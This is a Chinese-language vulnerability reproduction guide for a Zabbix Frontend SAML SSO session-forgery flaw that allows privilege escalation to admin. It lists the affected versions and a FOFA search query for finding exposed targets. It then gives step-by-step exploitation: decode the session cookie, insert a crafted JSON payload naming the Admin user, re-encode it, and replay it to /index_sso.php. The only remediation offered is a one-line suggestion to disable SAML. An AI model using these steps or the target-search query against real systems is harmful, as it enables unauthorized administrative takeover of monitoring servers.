一、漏洞详情
在启用SAML SSO身份验证(非默认)的情况下,会话数据可能被恶意参与者修改,因为没有验证存储在会话中的用户登录。未经身份验证的恶意行为者可能利用此问题升级特权并获得对Zabbix Frontend的管理访问权。要执行攻击,需要启用SAML身份验证,参与者必须知道Zabbix用户的用户名(或使用guest帐户,默认情况下该帐户是禁用的)。
二、漏洞版本
4.0.36
5.4.0
5.4.8
6.0.0alpha1
三、环境搭建
fofa:app="ZABBIX-监控系统" && body="SAML"
四、漏洞复现
1、访问,获取cookie
2、base64解码
3、构造payload,需要已知Zabbix用户的用户名,这里我们默认用户名为Admin
{
"saml_data": {
"username_attribute": "Admin"
},
"sessionid": "c8ebc80cb2535327c66fd5f6021d0902",
"sign": "\/p+dShTP31SMr+Em5MIWEnp9iBDAxC3oT0Z5EvH76R2R5uBgzjyGBYAG4HmjB5fTcX8Kzjnh7CTe7panObWGVw=="
}
4、base64加密payload,然后构造cookie,访问/index_sso.php,返回值Location存在:action=dashboard.view
5、手动替换网页的cookie,刷新可按照Admin用户权限访问
五、修复建议
禁用 SAML 身份验证